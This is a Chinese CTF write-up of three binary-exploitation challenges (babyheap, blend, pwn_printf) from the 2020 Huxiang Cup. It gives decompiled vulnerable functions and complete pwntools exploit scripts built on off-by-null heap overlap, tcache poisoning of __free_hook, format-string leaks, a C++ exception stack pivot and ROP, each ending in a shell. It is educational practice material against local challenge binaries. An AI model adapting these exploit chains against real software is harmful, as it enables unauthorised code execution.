2020 湖湘杯 PWN WriteUp

原创

SkYe231_ 于 2020-11-11 16:48:29 发布

> 比赛的时候出去玩了，这就来复盘

babyheap

基本情况

增删查改，数量限制比较宽松挺大的，大小固定 0xf8 。

漏洞

safe_read 写入大小为 0xf8 会溢出修改下一个 chunk size 最低两位为 \x00 。

```
char *__fastcall safe_read(char *ptr, int size)
{
  char *result; // rax

  read(0, ptr, 0xF0uLL);
  result = &ptr[size];                          // 当size0xf8时就会溢出修改nextchunk size 低2位
  *result = 0;
  return result;
}
```

思路

1. unsortedbin 泄露 libc 地址
2. 通过将堆放入 unsortedbin 修改某一个堆的 prev_size ，然后溢出修改 size 位，制造堆重叠，申请两个指向同一地址的指针
3. tcache double free

EXP

```
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author  : MrSkYe
from pwn import*
context(log_level='debug',os='linux',arch='amd64',
 terminal=['tmux','sp','-h'])

p = process("./babyheap")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def menu(ch):
 p.sendlineafter('>>',str(ch))
def new():
 menu(1)
```

```python
def show(index):
 menu(2)
 p.sendlineafter('?',str(index))
def edit(index,size,content):
 menu(3)
 p.sendlineafter('?',str(index))
 p.sendlineafter(':',str(size))
 p.sendafter(':',content)
def free(index):
 menu(4)
 p.sendlineafter('?',str(index))
# step1 leak libc_base
for i in range(10):
 new()
for i in range(8,1,-1):
 free(i)
free(0)#unsortbin
free(1)#unsortbin


for i in range(7):
 new()
new()#7

show(7)# leak main_arena
p.recvuntil('\n')
main_arena = u64(p.recv(6).ljust(8,'\x00'))
libc_base = main_arena - 0x3ebe90
log.info("libc_base:"+hex(libc_base))

# step2 让chunk3 pre_size为0x200
new()
for i in range(1,7):
 free(i)
free(9)

free(7)
free(8)
free(0)

for i in range(7):
 new()
new()#7
new()#8
new()#9

for i in range(7):
 free(i)

free(7)
# step3 chunk3 inuse为0
edit(8,0xf8,'skye')
free(9)

for i in range(7):
 new()
new()
new()#9

# step4 double free tcache
```

```
for i in range(5):
 free(i)
free(8)
free(9)

new()
free_hook = libc_base+libc.sym['__free_hook']
edit(0,0xf8,p64(free_hook))
new()
new()
system = libc_base+libc.sym['system']
edit(2,0xf8,p64(system))

new()
edit(3,0xf8,"/bin/sh")
free(3)

# gdb.attach(p)


p.interactive()
```

blend

> 题目的原型题目是2017 DCTF flex

基本情况

增删查功能，堆数量限制为 2 个，且释放堆不会减少计数标志位。有一个隐藏的菜单选项，查找资料后是确定是 c++ 的异常处理。IDA 反汇编后伪 C 看不到 try catch 捕获异常结构，需要看汇编。

> https://www.runoob.com/cplusplus/cpp-exceptions-handling.html

```
unsigned __int64 sub_1184()
{
  _QWORD *v0; // rax
  char v2; // [rsp+10h] [rbp-20h]
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Please input what you want:");
  if ( (signed int)sub_E22(&v2, 40LL) > 16 )
  {
    v0 = (_QWORD *)_cxa_allocate_exception(8LL, 40LL);//会申请0x90堆存放错误信息v0
    *v0 = "You are too young!";
    _cxa_throw(v0, &`typeinfo for'char const*, 0LL);//调试后发现这里也会申请一大堆堆块
  }
  return __readfsqword(0x28u) ^ v3;
}
```

当捕捉到错误后，就会停止剩下操作，直接跳转回 catch 错误处理。

漏洞

输出用户名时的格式化字符串：

```
int sub_116C()
{
  return printf(byte_202080);
}
```

释放堆块时 UAF ：

```
__int64 sub_1025()
{
  int v1; // [rsp+Ch] [rbp-4h]
  printf("index>");
  v1 = sub_EA2();
  if ( v1 < 0 || v1 > 1 )
  {
    puts("Insufficient space");
    exit(0);
  }
  if ( qword_202090[v1] )
  {
    free((void *)qword_202090[v1]);//UAF
    puts("down!");
  }
……
```

hint 函数写入存在栈溢出：

```
unsigned __int64 sub_1184()
{
  _QWORD *v0; // rax
  char v2; // [rsp+10h] [rbp-20h]
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Please input what you want:");
  if ( (signed int)sub_E22(&v2, 40LL) > 16 )//
  {
    v0 = (_QWORD *)_cxa_allocate_exception(8LL, 40LL);
    *v0 = "You are too young!";
    _cxa_throw(v0, &`typeinfo for'char const*, 0LL);
  }
  return __readfsqword(0x28u) ^ v3;
}
```

思路

1. 格式化字符串泄露栈上的 libc_start_main 获取 libc_base
2. 写入 ROP 利用链；利用 UAF 泄露堆地址
3. 溢出修改 ebp ，利用异常处理机制控制栈到堆上 ROP

正常泄露地址，只是用 vmmap 查地址算偏移会查到两个 libc.so 用高地址那个，或者用 libc 查 libc_start_main 偏移也用：

```
p.recvuntil(": ")
p.send('%11$p')#Leak libc_base
show_name()
p.recvuntil('Current user:')
libc_base = int(p.recv(14),16)-libc.sym['__libc_start_main']-240
log.info('libc_base:'+hex(libc_base))
```

ROP 利用链用的是 libc 的 gadget，程序开了 PIE：

```
ret = libc_base + 0x0000000000000937
pop_rdi_ret = libc_base + 0x0000000000021112
system = libc_base + libc.sym['system']
log.info("system:"+hex(system))
str_binsh = libc_base + libc.search('/bin/sh').next()
payload = p64(ret)+p64(pop_rdi_ret)+p64(str_binsh)+p64(system)
```

申请两个堆然后释放用 UAF 泄露堆地址，申请的时候要将 ROP 利用链一起写入，ROP 链要填 0x18 填充后面记录：

```
add('a')
add('b'*0x18+payload)
free(1)
free(0)
show()
p.recvuntil("1:")
heap_addr = u64(p.recv(6).ljust(8,'\x00'))
```

然后就是利用异常处理机制，具体研究看一开始放的原题。首先会由 `cxa_allocate_exception` 创建一个异常对象，会申请一个 0x90 堆。接着进入到 `cxa_throw` 函数，在里面的 `Unwind_RaiseException()` 将控制权转移到对应（跳转） catch 代码，执行完异常处理后就会执行 `leave;ret` ，**跳转到 catch 时依然保持跳转前的 rbp **。

通过劫持异常出现前的 rbp ，异常处理完成后执行 `leave;ret` 将栈劫持到堆中。

> gdb 单步调试到 `Unwind_RaiseException()` 后面就会直接跳过，也就是看不到 catch 执行情况

```
hint('a'*0x20+p64(heap_addr+0x20)[0:7])
```

ROP 链要填 0x18 再写有效部分是因为 `Unwind_RaiseException()` 执行完后查看堆会发现多了一堆，其中就有将 ROP 所在堆申请利用了，也就是覆盖了数据，所以要填个偏移，然后利用链没有被新数据覆盖。

EXP

```python
from pwn import *
context(log_level='debug',os='linux',arch='amd64',
 terminal=['tmux','sp','-h'])

p = process("./blend_pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf = ELF("./blend_pwn")

def show_name():
 p.recvuntil(">")
 p.sendline('1')

def add(content):
 p.recvuntil(">")
 p.sendline('2')
 p.recvuntil(":\n")
 p.sendline(content)
def free(id):
 p.recvuntil(">")
 p.sendline('3')
 p.recvuntil(">")
 p.sendline(str(id))
def show():
 p.recvuntil(">")
 p.sendline('4')
def hint(content):
 p.recvuntil(">")
 p.sendline('666')
 p.recvuntil(":")
 p.sendline(content)

p.recvuntil(": ")
p.send('%11$p')#Leak libc_base
show_name()
p.recvuntil('Current user:')
libc_base = int(p.recv(14),16)-libc.sym['__libc_start_main']-240
log.info('libc_base:'+hex(libc_base))

ret = libc_base + 0x0000000000000937
pop_rdi_ret = libc_base + 0x0000000000021112
system = libc_base + libc.sym['system']
log.info("system:"+hex(system))
str_binsh = libc_base + libc.search('/bin/sh').next()
payload = p64(ret)+p64(pop_rdi_ret)+p64(str_binsh)+p64(system)

add('a')
add('b'*0x18+payload)
free(1)
free(0)
show()
p.recvuntil("1:")
heap_addr = u64(p.recv(6).ljust(8,'\x00'))
log.info("heap_addr:"+hex(heap_addr))

# gdb.attach(p,'b *$rebase(0x11e9)')

hint('a'*0x20+p64(heap_addr+0x20)[0:7])

p.interactive()
```

pwn_printf

基本情况

开局程序先 mmap 一块 rw 权限内存，放入一堆格式化字符串，然后输入 16 个数字，就会进入 sprintf 的循环，将数字与格式化字符串运算后放入对应变量寄存器。if 判断 v12 的值，v12 作为参数传入 read 函数，写入位置有点奇妙直接就是 rbp：

```
ssize_t __fastcall sub_4007C6(unsigned __int16 v12)
{
  char buf[8]; // [rsp+10h] [rbp+0h]
  return read(0, buf, 2 * v12);
}
```

同时这里就可能会造成溢出。

sprintf 里面应该是控制 v12 的值，要逆出来难度不小，最后看师傅们 wp，当前 9 个输入数字为 32 时，v12 变成允许的最大值 0x20。然后就是 ROP 了，ROP 回 main 会在 sprintf 报错，返回 sub_4007C6 则没有问题，但是只能输入 0xe。最后解决办法是用一个 gadget `add eax, 0x20290e ; add ebx, esi ; ret` 控制 eax 的值，调到输入长度。

EXP

```
from pwn import *
context(log_level='debug',arch='amd64',
 terminal=['tmux','sp','-h'])
p = process("./pwn_printf")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf = ELF("./pwn_printf")

p.recvuntil("interesting\n")
for _ in range(16):
 p.sendline('32')

pop_rdi_ret = 0x0000000000401213
rop_addr = 0x040117f
add_eax_0x20290e_ret = 0x0000000000400794
payload = 'a'*0x8+p64(pop_rdi_ret)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(add_eax_0x20290e_ret)+p64(rop_a
ddr)

gdb.attach(p,'b *0x04007E7')
p.send(payload)
puts_addr = u64(p.recv(6).ljust(8,'\x00'))
log.info("puts_addr:"+hex(puts_addr))
libc_base = puts_addr-libc.sym['puts']

payload = 'a'*8+p64(libc_base+0x4527a)#p64(pop_rdi_ret)+p64(str_binsh)+p64(system)
'''
26 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf0364 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1207 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''

p.send(payload)
p.interactive()
```

参考文章

- 2020 湖湘杯 PWN WriteUp